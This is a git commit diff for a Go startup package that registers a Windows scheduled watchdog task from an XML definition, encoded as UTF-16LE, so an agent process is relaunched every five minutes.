fix(startup): make watchdog task keep agent alive

- Use Task Scheduler XML instead of /TR
- Run -ensure agent in-process, not child
- Add console close and panic protection
- Guard nil event channels after stop
- Add non-Windows stubs for startup/mutex

lib/startup/watchdog.go

@@ -1,10 +1,14 @@
+//go:build windows
+
 package startup
 
 import (
 	"fmt"
+	"os"
 	"os/exec"
 	"strings"
 	"syscall"
+	"unicode/utf16"
 
 	"golang.org/x/sys/windows"
 
@@ -16,8 +20,19 @@ func enableWatchdog() error {
 	if err != nil {
 		return err
 	}
-	tr := fmt.Sprintf(`"%s" -ensure`, exe)
-	return runSchtasks("/Create", "/TN", config.WatchdogTaskName, "/SC", "MINUTE", "/MO", "5", "/TR", tr, "/F")
+	tmp, err := os.CreateTemp("", "win64_mp-task-*.xml")
+	if err != nil {
+		return err
+	}
+	path := tmp.Name()
+	defer os.Remove(path)
+	if err := tmp.Close(); err != nil {
+		return err
+	}
+	if err := os.WriteFile(path, utf16LE(watchdogTaskXML(exe)), 0o600); err != nil {
+		return err
+	}
+	return runSchtasks("/Create", "/TN", config.WatchdogTaskName, "/XML", path, "/F")
 }
 
 func disableWatchdog() error {
@@ -41,3 +56,13 @@ func runSchtasks(args ...string) error {
 	}
 	return nil
 }
+
+func utf16LE(s string) []byte {
+	u := utf16.Encode([]rune(s))
+	out := make([]byte, 0, 2+len(u)*2)
+	out = append(out, 0xFF, 0xFE)
+	for _, r := range u {
+		out = append(out, byte(r), byte(r>>8))
+	}
+	return out
+}